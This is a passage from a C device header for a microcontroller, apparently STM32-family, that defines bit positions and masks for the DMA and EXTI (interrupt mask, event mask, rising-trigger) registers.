DMA_CCR_PL_Pos) /*!< 0x00002000 */ #define DMA_CCR_MEM2MEM_Pos (14U) #define DMA_CCR_MEM2MEM_Msk (0x1U << DMA_CCR_MEM2MEM_Pos) /*!< 0x00004000 */ #define DMA_CCR_MEM2MEM DMA_CCR_MEM2MEM_Msk /*!< Memory to memory mode */ /****************** Bit definition for DMA_CNDTR register *******************/ #define DMA_CNDTR_NDT_Pos (0U) #define DMA_CNDTR_NDT_Msk (0xFFFFU << DMA_CNDTR_NDT_Pos) /*!< 0x0000FFFF */ #define DMA_CNDTR_NDT DMA_CNDTR_NDT_Msk /*!< Number of data to Transfer */ /****************** Bit definition for DMA_CPAR register ********************/ #define DMA_CPAR_PA_Pos (0U) #define DMA_CPAR_PA_Msk (0xFFFFFFFFU << DMA_CPAR_PA_Pos) /*!< 0xFFFFFFFF */ #define DMA_CPAR_PA DMA_CPAR_PA_Msk /*!< Peripheral Address */ /****************** Bit definition for DMA_CMAR register ********************/ #define DMA_CMAR_MA_Pos (0U) #define DMA_CMAR_MA_Msk (0xFFFFFFFFU << DMA_CMAR_MA_Pos) /*!< 0xFFFFFFFF */ #define DMA_CMAR_MA DMA_CMAR_MA_Msk /*!< Memory Address */ /******************************************************************************/ /* */ /* External Interrupt/Event Controller (EXTI) */ /* */ /******************************************************************************/ /******************* Bit definition for EXTI_IMR register *******************/ #define EXTI_IMR_MR0_Pos (0U) #define EXTI_IMR_MR0_Msk (0x1U << EXTI_IMR_MR0_Pos) /*!< 0x00000001 */ #define EXTI_IMR_MR0 EXTI_IMR_MR0_Msk /*!< Interrupt Mask on line 0 */ #define EXTI_IMR_MR1_Pos (1U) #define EXTI_IMR_MR1_Msk (0x1U << EXTI_IMR_MR1_Pos) /*!< 0x00000002 */ #define EXTI_IMR_MR1 EXTI_IMR_MR1_Msk /*!< Interrupt Mask on line 1 */ #define EXTI_IMR_MR2_Pos (2U) #define EXTI_IMR_MR2_Msk (0x1U << EXTI_IMR_MR2_Pos) /*!< 0x00000004 */ #define EXTI_IMR_MR2 EXTI_IMR_MR2_Msk /*!< Interrupt Mask on line 2 */ #define EXTI_IMR_MR3_Pos (3U) #define EXTI_IMR_MR3_Msk (0x1U << EXTI_IMR_MR3_Pos) /*!< 0x00000008 */ #define EXTI_IMR_MR3 EXTI_IMR_MR3_Msk /*!< Interrupt Mask on line 3 */ #define EXTI_IMR_MR4_Pos (4U) #define EXTI_IMR_MR4_Msk (0x1U << EXTI_IMR_MR4_Pos) /*!< 0x00000010 */ #define EXTI_IMR_MR4 EXTI_IMR_MR4_Msk /*!< Interrupt Mask on line 4 */ #define EXTI_IMR_MR5_Pos (5U) #define EXTI_IMR_MR5_Msk (0x1U << EXTI_IMR_MR5_Pos) /*!< 0x00000020 */ #define EXTI_IMR_MR5 EXTI_IMR_MR5_Msk /*!< Interrupt Mask on line 5 */ #define EXTI_IMR_MR6_Pos (6U) #define EXTI_IMR_MR6_Msk (0x1U << EXTI_IMR_MR6_Pos) /*!< 0x00000040 */ #define EXTI_IMR_MR6 EXTI_IMR_MR6_Msk /*!< Interrupt Mask on line 6 */ #define EXTI_IMR_MR7_Pos (7U) #define EXTI_IMR_MR7_Msk (0x1U << EXTI_IMR_MR7_Pos) /*!< 0x00000080 */ #define EXTI_IMR_MR7 EXTI_IMR_MR7_Msk /*!< Interrupt Mask on line 7 */ #define EXTI_IMR_MR8_Pos (8U) #define EXTI_IMR_MR8_Msk (0x1U << EXTI_IMR_MR8_Pos) /*!< 0x00000100 */ #define EXTI_IMR_MR8 EXTI_IMR_MR8_Msk /*!< Interrupt Mask on line 8 */ #define EXTI_IMR_MR9_Pos (9U) #define EXTI_IMR_MR9_Msk (0x1U << EXTI_IMR_MR9_Pos) /*!< 0x00000200 */ #define EXTI_IMR_MR9 EXTI_IMR_MR9_Msk /*!< Interrupt Mask on line 9 */ #define EXTI_IMR_MR10_Pos (10U) #define EXTI_IMR_MR10_Msk (0x1U << EXTI_IMR_MR10_Pos) /*!< 0x00000400 */ #define EXTI_IMR_MR10 EXTI_IMR_MR10_Msk /*!< Interrupt Mask on line 10 */ #define EXTI_IMR_MR11_Pos (11U) #define EXTI_IMR_MR11_Msk (0x1U << EXTI_IMR_MR11_Pos) /*!< 0x00000800 */ #define EXTI_IMR_MR11 EXTI_IMR_MR11_Msk /*!< Interrupt Mask on line 11 */ #define EXTI_IMR_MR12_Pos (12U) #define EXTI_IMR_MR12_Msk (0x1U << EXTI_IMR_MR12_Pos) /*!< 0x00001000 */ #define EXTI_IMR_MR12 EXTI_IMR_MR12_Msk /*!< Interrupt Mask on line 12 */ #define EXTI_IMR_MR13_Pos (13U) #define EXTI_IMR_MR13_Msk (0x1U << EXTI_IMR_MR13_Pos) /*!< 0x00002000 */ #define EXTI_IMR_MR13 EXTI_IMR_MR13_Msk /*!< Interrupt Mask on line 13 */ #define EXTI_IMR_MR14_Pos (14U) #define EXTI_IMR_MR14_Msk (0x1U << EXTI_IMR_MR14_Pos) /*!< 0x00004000 */ #define EXTI_IMR_MR14 EXTI_IMR_MR14_Msk /*!< Interrupt Mask on line 14 */ #define EXTI_IMR_MR15_Pos (15U) #define EXTI_IMR_MR15_Msk (0x1U << EXTI_IMR_MR15_Pos) /*!< 0x00008000 */ #define EXTI_IMR_MR15 EXTI_IMR_MR15_Msk /*!< Interrupt Mask on line 15 */ #define EXTI_IMR_MR16_Pos (16U) #define EXTI_IMR_MR16_Msk (0x1U << EXTI_IMR_MR16_Pos) /*!< 0x00010000 */ #define EXTI_IMR_MR16 EXTI_IMR_MR16_Msk /*!< Interrupt Mask on line 16 */ #define EXTI_IMR_MR17_Pos (17U) #define EXTI_IMR_MR17_Msk (0x1U << EXTI_IMR_MR17_Pos) /*!< 0x00020000 */ #define EXTI_IMR_MR17 EXTI_IMR_MR17_Msk /*!< Interrupt Mask on line 17 */ #define EXTI_IMR_MR18_Pos (18U) #define EXTI_IMR_MR18_Msk (0x1U << EXTI_IMR_MR18_Pos) /*!< 0x00040000 */ #define EXTI_IMR_MR18 EXTI_IMR_MR18_Msk /*!< Interrupt Mask on line 18 */ #define EXTI_IMR_MR19_Pos (19U) #define EXTI_IMR_MR19_Msk (0x1U << EXTI_IMR_MR19_Pos) /*!< 0x00080000 */ #define EXTI_IMR_MR19 EXTI_IMR_MR19_Msk /*!< Interrupt Mask on line 19 */ #define EXTI_IMR_MR20_Pos (20U) #define EXTI_IMR_MR20_Msk (0x1U << EXTI_IMR_MR20_Pos) /*!< 0x00100000 */ #define EXTI_IMR_MR20 EXTI_IMR_MR20_Msk /*!< Interrupt Mask on line 20 */ #define EXTI_IMR_MR21_Pos (21U) #define EXTI_IMR_MR21_Msk (0x1U << EXTI_IMR_MR21_Pos) /*!< 0x00200000 */ #define EXTI_IMR_MR21 EXTI_IMR_MR21_Msk /*!< Interrupt Mask on line 21 */ #define EXTI_IMR_MR22_Pos (22U) #define EXTI_IMR_MR22_Msk (0x1U << EXTI_IMR_MR22_Pos) /*!< 0x00400000 */ #define EXTI_IMR_MR22 EXTI_IMR_MR22_Msk /*!< Interrupt Mask on line 22 */ #define EXTI_IMR_MR23_Pos (23U) #define EXTI_IMR_MR23_Msk (0x1U << EXTI_IMR_MR23_Pos) /*!< 0x00800000 */ #define EXTI_IMR_MR23 EXTI_IMR_MR23_Msk /*!< Interrupt Mask on line 23 */ #define EXTI_IMR_MR24_Pos (24U) #define EXTI_IMR_MR24_Msk (0x1U << EXTI_IMR_MR24_Pos) /*!< 0x01000000 */ #define EXTI_IMR_MR24 EXTI_IMR_MR24_Msk /*!< Interrupt Mask on line 24 */ #define EXTI_IMR_MR25_Pos (25U) #define EXTI_IMR_MR25_Msk (0x1U << EXTI_IMR_MR25_Pos) /*!< 0x02000000 */ #define EXTI_IMR_MR25 EXTI_IMR_MR25_Msk /*!< Interrupt Mask on line 25 */ #define EXTI_IMR_MR26_Pos (26U) #define EXTI_IMR_MR26_Msk (0x1U << EXTI_IMR_MR26_Pos) /*!< 0x04000000 */ #define EXTI_IMR_MR26 EXTI_IMR_MR26_Msk /*!< Interrupt Mask on line 26 */ #define EXTI_IMR_MR27_Pos (27U) #define EXTI_IMR_MR27_Msk (0x1U << EXTI_IMR_MR27_Pos) /*!< 0x08000000 */ #define EXTI_IMR_MR27 EXTI_IMR_MR27_Msk /*!< Interrupt Mask on line 27 */ #define EXTI_IMR_MR28_Pos (28U) #define EXTI_IMR_MR28_Msk (0x1U << EXTI_IMR_MR28_Pos) /*!< 0x10000000 */ #define EXTI_IMR_MR28 EXTI_IMR_MR28_Msk /*!< Interrupt Mask on line 28 */ #define EXTI_IMR_MR29_Pos (29U) #define EXTI_IMR_MR29_Msk (0x1U << EXTI_IMR_MR29_Pos) /*!< 0x20000000 */ #define EXTI_IMR_MR29 EXTI_IMR_MR29_Msk /*!< Interrupt Mask on line 29 */ #define EXTI_IMR_MR30_Pos (30U) #define EXTI_IMR_MR30_Msk (0x1U << EXTI_IMR_MR30_Pos) /*!< 0x40000000 */ #define EXTI_IMR_MR30 EXTI_IMR_MR30_Msk /*!< Interrupt Mask on line 30 */ #define EXTI_IMR_MR31_Pos (31U) #define EXTI_IMR_MR31_Msk (0x1U << EXTI_IMR_MR31_Pos) /*!< 0x80000000 */ #define EXTI_IMR_MR31 EXTI_IMR_MR31_Msk /*!< Interrupt Mask on line 31 */ /* References Defines */ #define EXTI_IMR_IM0 EXTI_IMR_MR0 #define EXTI_IMR_IM1 EXTI_IMR_MR1 #define EXTI_IMR_IM2 EXTI_IMR_MR2 #define EXTI_IMR_IM3 EXTI_IMR_MR3 #define EXTI_IMR_IM4 EXTI_IMR_MR4 #define EXTI_IMR_IM5 EXTI_IMR_MR5 #define EXTI_IMR_IM6 EXTI_IMR_MR6 #define EXTI_IMR_IM7 EXTI_IMR_MR7 #define EXTI_IMR_IM8 EXTI_IMR_MR8 #define EXTI_IMR_IM9 EXTI_IMR_MR9 #define EXTI_IMR_IM10 EXTI_IMR_MR10 #define EXTI_IMR_IM11 EXTI_IMR_MR11 #define EXTI_IMR_IM12 EXTI_IMR_MR12 #define EXTI_IMR_IM13 EXTI_IMR_MR13 #define EXTI_IMR_IM14 EXTI_IMR_MR14 #define EXTI_IMR_IM15 EXTI_IMR_MR15 #define EXTI_IMR_IM16 EXTI_IMR_MR16 #define EXTI_IMR_IM17 EXTI_IMR_MR17 #define EXTI_IMR_IM18 EXTI_IMR_MR18 #define EXTI_IMR_IM19 EXTI_IMR_MR19 #define EXTI_IMR_IM20 EXTI_IMR_MR20 #define EXTI_IMR_IM21 EXTI_IMR_MR21 #define EXTI_IMR_IM22 EXTI_IMR_MR22 #define EXTI_IMR_IM23 EXTI_IMR_MR23 #define EXTI_IMR_IM24 EXTI_IMR_MR24 #define EXTI_IMR_IM25 EXTI_IMR_MR25 #define EXTI_IMR_IM26 EXTI_IMR_MR26 #define EXTI_IMR_IM27 EXTI_IMR_MR27 #define EXTI_IMR_IM28 EXTI_IMR_MR28 #define EXTI_IMR_IM29 EXTI_IMR_MR29 #define EXTI_IMR_IM30 EXTI_IMR_MR30 #define EXTI_IMR_IM31 EXTI_IMR_MR31 #define EXTI_IMR_IM_Pos (0U) #define EXTI_IMR_IM_Msk (0xFFFFFFFFU << EXTI_IMR_IM_Pos) /*!< 0xFFFFFFFF */ #define EXTI_IMR_IM EXTI_IMR_IM_Msk /*!< Interrupt Mask All */ /******************* Bit definition for EXTI_EMR register *******************/ #define EXTI_EMR_MR0_Pos (0U) #define EXTI_EMR_MR0_Msk (0x1U << EXTI_EMR_MR0_Pos) /*!< 0x00000001 */ #define EXTI_EMR_MR0 EXTI_EMR_MR0_Msk /*!< Event Mask on line 0 */ #define EXTI_EMR_MR1_Pos (1U) #define EXTI_EMR_MR1_Msk (0x1U << EXTI_EMR_MR1_Pos) /*!< 0x00000002 */ #define EXTI_EMR_MR1 EXTI_EMR_MR1_Msk /*!< Event Mask on line 1 */ #define EXTI_EMR_MR2_Pos (2U) #define EXTI_EMR_MR2_Msk (0x1U << EXTI_EMR_MR2_Pos) /*!< 0x00000004 */ #define EXTI_EMR_MR2 EXTI_EMR_MR2_Msk /*!< Event Mask on line 2 */ #define EXTI_EMR_MR3_Pos (3U) #define EXTI_EMR_MR3_Msk (0x1U << EXTI_EMR_MR3_Pos) /*!< 0x00000008 */ #define EXTI_EMR_MR3 EXTI_EMR_MR3_Msk /*!< Event Mask on line 3 */ #define EXTI_EMR_MR4_Pos (4U) #define EXTI_EMR_MR4_Msk (0x1U << EXTI_EMR_MR4_Pos) /*!< 0x00000010 */ #define EXTI_EMR_MR4 EXTI_EMR_MR4_Msk /*!< Event Mask on line 4 */ #define EXTI_EMR_MR5_Pos (5U) #define EXTI_EMR_MR5_Msk (0x1U << EXTI_EMR_MR5_Pos) /*!< 0x00000020 */ #define EXTI_EMR_MR5 EXTI_EMR_MR5_Msk /*!< Event Mask on line 5 */ #define EXTI_EMR_MR6_Pos (6U) #define EXTI_EMR_MR6_Msk (0x1U << EXTI_EMR_MR6_Pos) /*!< 0x00000040 */ #define EXTI_EMR_MR6 EXTI_EMR_MR6_Msk /*!< Event Mask on line 6 */ #define EXTI_EMR_MR7_Pos (7U) #define EXTI_EMR_MR7_Msk (0x1U << EXTI_EMR_MR7_Pos) /*!< 0x00000080 */ #define EXTI_EMR_MR7 EXTI_EMR_MR7_Msk /*!< Event Mask on line 7 */ #define EXTI_EMR_MR8_Pos (8U) #define EXTI_EMR_MR8_Msk (0x1U << EXTI_EMR_MR8_Pos) /*!< 0x00000100 */ #define EXTI_EMR_MR8 EXTI_EMR_MR8_Msk /*!< Event Mask on line 8 */ #define EXTI_EMR_MR9_Pos (9U) #define EXTI_EMR_MR9_Msk (0x1U << EXTI_EMR_MR9_Pos) /*!< 0x00000200 */ #define EXTI_EMR_MR9 EXTI_EMR_MR9_Msk /*!< Event Mask on line 9 */ #define EXTI_EMR_MR10_Pos (10U) #define EXTI_EMR_MR10_Msk (0x1U << EXTI_EMR_MR10_Pos) /*!< 0x00000400 */ #define EXTI_EMR_MR10 EXTI_EMR_MR10_Msk /*!< Event Mask on line 10 */ #define EXTI_EMR_MR11_Pos (11U) #define EXTI_EMR_MR11_Msk (0x1U << EXTI_EMR_MR11_Pos) /*!< 0x00000800 */ #define EXTI_EMR_MR11 EXTI_EMR_MR11_Msk /*!< Event Mask on line 11 */ #define EXTI_EMR_MR12_Pos (12U) #define EXTI_EMR_MR12_Msk (0x1U << EXTI_EMR_MR12_Pos) /*!< 0x00001000 */ #define EXTI_EMR_MR12 EXTI_EMR_MR12_Msk /*!< Event Mask on line 12 */ #define EXTI_EMR_MR13_Pos (13U) #define EXTI_EMR_MR13_Msk (0x1U << EXTI_EMR_MR13_Pos) /*!< 0x00002000 */ #define EXTI_EMR_MR13 EXTI_EMR_MR13_Msk /*!< Event Mask on line 13 */ #define EXTI_EMR_MR14_Pos (14U) #define EXTI_EMR_MR14_Msk (0x1U << EXTI_EMR_MR14_Pos) /*!< 0x00004000 */ #define EXTI_EMR_MR14 EXTI_EMR_MR14_Msk /*!< Event Mask on line 14 */ #define EXTI_EMR_MR15_Pos (15U) #define EXTI_EMR_MR15_Msk (0x1U << EXTI_EMR_MR15_Pos) /*!< 0x00008000 */ #define EXTI_EMR_MR15 EXTI_EMR_MR15_Msk /*!< Event Mask on line 15 */ #define EXTI_EMR_MR16_Pos (16U) #define EXTI_EMR_MR16_Msk (0x1U << EXTI_EMR_MR16_Pos) /*!< 0x00010000 */ #define EXTI_EMR_MR16 EXTI_EMR_MR16_Msk /*!< Event Mask on line 16 */ #define EXTI_EMR_MR17_Pos (17U) #define EXTI_EMR_MR17_Msk (0x1U << EXTI_EMR_MR17_Pos) /*!< 0x00020000 */ #define EXTI_EMR_MR17 EXTI_EMR_MR17_Msk /*!< Event Mask on line 17 */ #define EXTI_EMR_MR18_Pos (18U) #define EXTI_EMR_MR18_Msk (0x1U << EXTI_EMR_MR18_Pos) /*!< 0x00040000 */ #define EXTI_EMR_MR18 EXTI_EMR_MR18_Msk /*!< Event Mask on line 18 */ #define EXTI_EMR_MR19_Pos (19U) #define EXTI_EMR_MR19_Msk (0x1U << EXTI_EMR_MR19_Pos) /*!< 0x00080000 */ #define EXTI_EMR_MR19 EXTI_EMR_MR19_Msk /*!< Event Mask on line 19 */ #define EXTI_EMR_MR20_Pos (20U) #define EXTI_EMR_MR20_Msk (0x1U << EXTI_EMR_MR20_Pos) /*!< 0x00100000 */ #define EXTI_EMR_MR20 EXTI_EMR_MR20_Msk /*!< Event Mask on line 20 */ #define EXTI_EMR_MR21_Pos (21U) #define EXTI_EMR_MR21_Msk (0x1U << EXTI_EMR_MR21_Pos) /*!< 0x00200000 */ #define EXTI_EMR_MR21 EXTI_EMR_MR21_Msk /*!< Event Mask on line 21 */ #define EXTI_EMR_MR22_Pos (22U) #define EXTI_EMR_MR22_Msk (0x1U << EXTI_EMR_MR22_Pos) /*!< 0x00400000 */ #define EXTI_EMR_MR22 EXTI_EMR_MR22_Msk /*!< Event Mask on line 22 */ #define EXTI_EMR_MR23_Pos (23U) #define EXTI_EMR_MR23_Msk (0x1U << EXTI_EMR_MR23_Pos) /*!< 0x00800000 */ #define EXTI_EMR_MR23 EXTI_EMR_MR23_Msk /*!< Event Mask on line 23 */ #define EXTI_EMR_MR24_Pos (24U) #define EXTI_EMR_MR24_Msk (0x1U << EXTI_EMR_MR24_Pos) /*!< 0x01000000 */ #define EXTI_EMR_MR24 EXTI_EMR_MR24_Msk /*!< Event Mask on line 24 */ #define EXTI_EMR_MR25_Pos (25U) #define EXTI_EMR_MR25_Msk (0x1U << EXTI_EMR_MR25_Pos) /*!< 0x02000000 */ #define EXTI_EMR_MR25 EXTI_EMR_MR25_Msk /*!< Event Mask on line 25 */ #define EXTI_EMR_MR26_Pos (26U) #define EXTI_EMR_MR26_Msk (0x1U << EXTI_EMR_MR26_Pos) /*!< 0x04000000 */ #define EXTI_EMR_MR26 EXTI_EMR_MR26_Msk /*!< Event Mask on line 26 */ #define EXTI_EMR_MR27_Pos (27U) #define EXTI_EMR_MR27_Msk (0x1U << EXTI_EMR_MR27_Pos) /*!< 0x08000000 */ #define EXTI_EMR_MR27 EXTI_EMR_MR27_Msk /*!< Event Mask on line 27 */ #define EXTI_EMR_MR28_Pos (28U) #define EXTI_EMR_MR28_Msk (0x1U << EXTI_EMR_MR28_Pos) /*!< 0x10000000 */ #define EXTI_EMR_MR28 EXTI_EMR_MR28_Msk /*!< Event Mask on line 28 */ #define EXTI_EMR_MR29_Pos (29U) #define EXTI_EMR_MR29_Msk (0x1U << EXTI_EMR_MR29_Pos) /*!< 0x20000000 */ #define EXTI_EMR_MR29 EXTI_EMR_MR29_Msk /*!< Event Mask on line 29 */ #define EXTI_EMR_MR30_Pos (30U) #define EXTI_EMR_MR30_Msk (0x1U << EXTI_EMR_MR30_Pos) /*!< 0x40000000 */ #define EXTI_EMR_MR30 EXTI_EMR_MR30_Msk /*!< Event Mask on line 30 */ #define EXTI_EMR_MR31_Pos (31U) #define EXTI_EMR_MR31_Msk (0x1U << EXTI_EMR_MR31_Pos) /*!< 0x80000000 */ #define EXTI_EMR_MR31 EXTI_EMR_MR31_Msk /*!< Event Mask on line 31 */ /* References Defines */ #define EXTI_EMR_EM0 EXTI_EMR_MR0 #define EXTI_EMR_EM1 EXTI_EMR_MR1 #define EXTI_EMR_EM2 EXTI_EMR_MR2 #define EXTI_EMR_EM3 EXTI_EMR_MR3 #define EXTI_EMR_EM4 EXTI_EMR_MR4 #define EXTI_EMR_EM5 EXTI_EMR_MR5 #define EXTI_EMR_EM6 EXTI_EMR_MR6 #define EXTI_EMR_EM7 EXTI_EMR_MR7 #define EXTI_EMR_EM8 EXTI_EMR_MR8 #define EXTI_EMR_EM9 EXTI_EMR_MR9 #define EXTI_EMR_EM10 EXTI_EMR_MR10 #define EXTI_EMR_EM11 EXTI_EMR_MR11 #define EXTI_EMR_EM12 EXTI_EMR_MR12 #define EXTI_EMR_EM13 EXTI_EMR_MR13 #define EXTI_EMR_EM14 EXTI_EMR_MR14 #define EXTI_EMR_EM15 EXTI_EMR_MR15 #define EXTI_EMR_EM16 EXTI_EMR_MR16 #define EXTI_EMR_EM17 EXTI_EMR_MR17 #define EXTI_EMR_EM18 EXTI_EMR_MR18 #define EXTI_EMR_EM19 EXTI_EMR_MR19 #define EXTI_EMR_EM20 EXTI_EMR_MR20 #define EXTI_EMR_EM21 EXTI_EMR_MR21 #define EXTI_EMR_EM22 EXTI_EMR_MR22 #define EXTI_EMR_EM23 EXTI_EMR_MR23 #define EXTI_EMR_EM24 EXTI_EMR_MR24 #define EXTI_EMR_EM25 EXTI_EMR_MR25 #define EXTI_EMR_EM26 EXTI_EMR_MR26 #define EXTI_EMR_EM27 EXTI_EMR_MR27 #define EXTI_EMR_EM28 EXTI_EMR_MR28 #define EXTI_EMR_EM29 EXTI_EMR_MR29 #define EXTI_EMR_EM30 EXTI_EMR_MR30 #define EXTI_EMR_EM31 EXTI_EMR_MR31 /****************** Bit definition for EXTI_RTSR register *******************/ #define EXTI_RTSR_TR0_Pos (0U) #define EXTI_RTSR_TR0_Msk (0x1U << EXTI_RTSR_TR0_Pos) /*!< 0x00000001 */ #define EXTI_RTSR_TR0 EXTI_RTSR_TR0_Msk /*!< Rising trigger event configuration bit of line 0 */ #define EXTI_RTSR_TR1_Pos (1U) #define EXTI_RTSR_TR1_Msk (0x1U << EXTI_RTSR_TR1_Pos) /*!< 0x00000002 */ #define EXTI_RTSR_TR1 EXTI_RTSR_TR1_Msk /*!< Rising trigger event configuration bit of line 1 */ #define EXTI_RTSR_TR2_Pos (2U) #define EXTI_RTSR_TR2_Msk (0x1U << EXTI_RTSR_TR2_Pos) /*!< 0x00000004 */ #define EXTI_RTSR_TR2 EXTI_RTSR_TR2_Msk /*!< Rising trigger event configuration bit of line 2 */ #define EXTI_RTSR_TR3_Pos (3U) #define EXTI_RTSR_TR3_Msk (0x1U << EXTI_RTSR_TR3_Pos) /*!< 0x00000008 */ #define EXTI_RTSR_TR3 EXTI_RTSR_TR3_Msk /*!< Rising trigger event configuration bit of line 3 */ #define EXTI_RTSR_TR4_Pos (4U) #define EXTI_RTSR_TR4_Msk (0x1U << EXTI_RTSR_TR4_Pos) /*!< 0x00000010 */ #define EXTI_RTSR_TR4 EXTI_RTSR_TR4_Msk /*!< Rising trigger event configuration bit of line 4 */ #define EXTI_RTSR_TR5_Pos (5U) #define EXTI_RTSR_TR5_Msk (0x1U << EXTI_RTSR_TR5_Pos) /*!< 0x00000020 */ #define EXTI_RTSR_TR5 EXTI_RTSR_TR5_Msk /*!< Rising trigger event configuration bit of line 5 */ #define EXTI_RTSR_TR6_Pos (6U) #define EXTI_RTSR_TR6_Msk (0x1U << EXTI_RTSR_TR6_Pos) /*!< 0x00000040 */ #define EXTI_RTSR_TR6 EXTI_RTSR_TR6_Msk /*!< Rising trigger event configuration bit of line 6 */ #define EXTI_RTSR_TR7_Pos (7U) #define EXTI_RTSR_TR7_Msk (0x1U << EXTI_RTSR_TR7_Pos) /*!< 0x00000080 */ #define EXTI_RTSR_TR7 EXTI_RTSR_TR7_Msk /*!< Rising trigger event configuration bit of line 7 */ #define EXTI_RTSR_TR8_Pos (8U) #define EXTI_RTSR_TR8_Msk (0x1U << EXTI_RTSR_TR8_Pos) /*!< 0x00000100 */ #define EXTI_RTSR_TR8 EXTI_RTSR_TR8_Msk /*!< Rising trigger event configuration bit of line 8 */ #define EXTI_RTSR_TR9_Pos (9U) #define EXTI_RTSR_TR9_Msk (0x1U << EXTI_RTSR_TR9_Pos) /*!< 0x00000200 */ #define EXTI_RTSR_TR9 EXTI_RTSR_TR9_Msk /*!< Rising trigger event configuration bit of line 9 */ #define EXTI_RTSR_TR10_Pos (10U) #define EXTI_RTSR_TR10_Msk (0x1U << EXTI_RTSR_TR10_Pos) /*!< 0x00000400 */ #define EXTI_RTSR_TR10 EXTI_RTSR_TR10_Msk /*!< Rising trigger event configuration bit of line 10 */ #define EXTI_RTSR_TR11_Pos (11U) #define EXTI_RTSR_TR11_Msk (0x1U << EXTI_RTSR_TR11_Pos) /*!< 0x00000800 */ #define EXTI_RTSR_TR11 EXTI_RTSR_TR11_Msk /*!< Rising trigger event configuration bit of line 11 */ #define EXTI_RTSR_TR12_Pos (12U) #define EXTI_RTSR_TR12_Msk (0x1U << EXTI_RTSR_TR12_Pos) /*!< 0x00001000 */ #define EXTI_RTSR_TR12 EXTI_RTSR_TR12_Msk /*!< Rising trigger event configuration bit of line 12 */ #define EXTI_RTSR_TR13_Pos (13U) #define EXTI_RTSR_TR13_Msk (0x1U << EXTI_RTSR_TR13_Pos) /*!< 0x00002000 */ #define EXTI_RTSR_TR13 EXTI_RTSR_TR13_Msk /*!< Rising trigger event configuration bit of line 13 */ #define EXTI_RTSR_TR14_Pos (14U) #define EXTI_RTSR_TR14_Msk (0x1U << EXTI_RTSR_TR14_Pos) /*!< 0x00004000 */ #define EXTI_RTSR_TR14 EXTI_RTSR_TR14_Msk /*!< Rising trigger event configuration bit of line 14 */ #define EXTI_RTSR_TR15_Pos (15U) #define EXTI_RTSR_TR15_Msk (0x1U << EXTI_RTSR_TR15_Pos) /*!< 0x00008000 */ #define EXTI_RTSR_TR15 EXTI_RTSR_TR15_Msk /*!< Rising trigger event configuration bit of line 15 */ #define EXTI_RTSR_TR16_Pos (16U) #define EXTI_RTSR_TR16_Msk (0x1U << EXTI_RTSR_TR16_Pos) /*!< 0x00010000 */ #define EXTI_RTSR_TR16 EXTI_RTSR_TR16_Msk /*!< Rising trigger event configuration bit of line 16 */ #define EXTI_RTSR_TR17_Pos (17U) #define EXTI_RTSR_TR17_Msk (0x1U << EXTI_RTSR_TR17_Pos) /*!< 0x00020000 */ #define EXTI_RTSR_TR17 EXTI_RTSR_TR17_Msk /*!< Rising trigger event configuration bit of line 17 */ #define EXTI_RTSR_TR18_Pos (18U) #define EXTI_RTSR_TR18_Msk (0x1U << EXTI_RTSR_TR18_Pos) /*!< 0x00040000 */ #define EXTI_RTSR_TR18 EXTI_RTSR_TR18_Msk /*!< Rising trigger event configuration bit of line 18 */ #define EXTI_RTSR_TR19_Pos (19U) #define EXTI_RTSR_TR19_Msk (0x1U << EXTI_RTSR_TR19_Pos) /*!< 0x00080000 */ #define EXTI_RTSR_TR19 EXTI_RTSR_TR19_Msk /*!< Rising trigger event configuration bit of line 19 */ #define EXTI_RTSR_TR20_Pos (20U) #define EXTI_RTSR_TR20_Msk (0x1U << EXTI_RTSR_TR20_Pos) /*!< 0x00100000 */ #define EXTI_RTSR_TR20 EXTI_RTSR_TR20_Msk /*!< Rising trigger event configuration bit of line 20 */ #define EXTI_RTSR_TR21_Pos (21U) #define EXTI_RTSR_TR21_Msk (0x1U << EXTI_RTSR_TR21_Pos) /*!< 0x00200000 */ #define EXTI_RTSR_TR21 EXTI_RTSR_TR21_Msk /*!< Rising trigger event configuration bit of line 21 */ #define EXTI_RTSR_TR22_Pos (22U) #define EXTI_RTSR_TR22_Msk (0x1U << EXTI_RTSR_TR22_Pos) /*!< 0x00400000 */ #define EXTI_RTSR_TR22 EXTI_RTSR_TR22_Msk /*!< Rising trigger event configuration bit of line 22 */ #define EXTI_RTSR_TR29_Pos (29U) #define EXTI_RTSR_TR29_Msk (0x1U << EXTI_RTSR_TR29_Pos) /*!< 0x20000000 */ #define EXTI_RTSR_TR29 EXTI_RTSR_TR29_Msk /*!< Rising trigger event configuration bit of line 29 */ #define EXTI_RTSR_TR30_Pos (30U) #define EXTI_RTSR_TR30_Msk (0x1U << EXTI_RTSR_TR30_Pos) /*!< 0x40000000 */ #define EXTI_RTSR_TR30 EXTI_RTSR_TR30_Msk /*!< Rising trigger event configuration bit of line 30 */ #define EXTI_RTSR_TR31_Pos (31U) #define EXTI_RTSR_TR31_Msk (0x1U << EXTI_RTSR_TR31_Pos) /*!< 0x80000000 */ #define EXTI_RTSR_TR31 EXTI_RTSR_TR31_Msk /*!< Rising trigger event configuration bit of line 31 */ /* References Defines */ #define EXTI_RTSR_RT0 EXTI_RTSR_TR0 #define EXTI_RTSR_RT1 EXTI_RTSR_TR1 #define EXTI_RTSR_RT2 EXTI_RTSR_TR2 #define EXTI_RTSR_RT3 EXTI_RTSR_TR3 #define EXTI_RTSR_RT4 EXTI_RTSR_TR4 #define EXTI_RTSR_RT5 EXTI_RTSR_TR5 #define EXTI_RTSR_RT6 EXTI_RTSR_TR6 #define EXTI_RTSR_RT7 EXTI_RTSR_TR7 #define EXTI_RTSR_RT8 EXTI_RTSR_TR8 #define EXTI_RTSR_RT9 EXTI_RTSR_TR9 #define EXTI_RTSR_RT10 EXTI_RTSR_TR10 #define EXTI_RTSR_RT11 EXTI_RTSR_TR11 #define EXTI_RTSR_RT12 EXTI_RTSR_TR12 #define EXTI_RTSR_RT13 EXTI_RTSR_TR13 #define EXTI_RTSR_RT14 EXTI_RTSR_TR14 #define EXTI_RTSR_RT15 EXTI_RTSR_TR15 #define EXTI_RTSR_RT16 EXTI_RTSR_TR16 #define EXTI_RTSR_RT17 EXTI_RTSR_TR17 #define EXTI_RTSR_RT18 EXTI_RTSR_TR18 #define EXTI_RTSR_RT19 EXTI_RTSR_TR19 #define EXTI_RTSR_RT20 EXTI_RTSR_TR20 #define EXTI_RTSR_RT21 EXTI_RTSR_TR21 #define EXTI_RTSR_RT22 EXTI_RTSR_TR22 #define EXTI_RTSR_RT29 EXTI_RTSR_TR29 #define EXTI_RTSR_RT30 EXTI_RTSR_TR30 #define EXTI_RTSR_RT31 EXTI_RTSR_TR31 /****************** Bit definition for EXTI_FTSR register *******************/ #define EXTI_FTSR_TR0_Pos (0U) #define 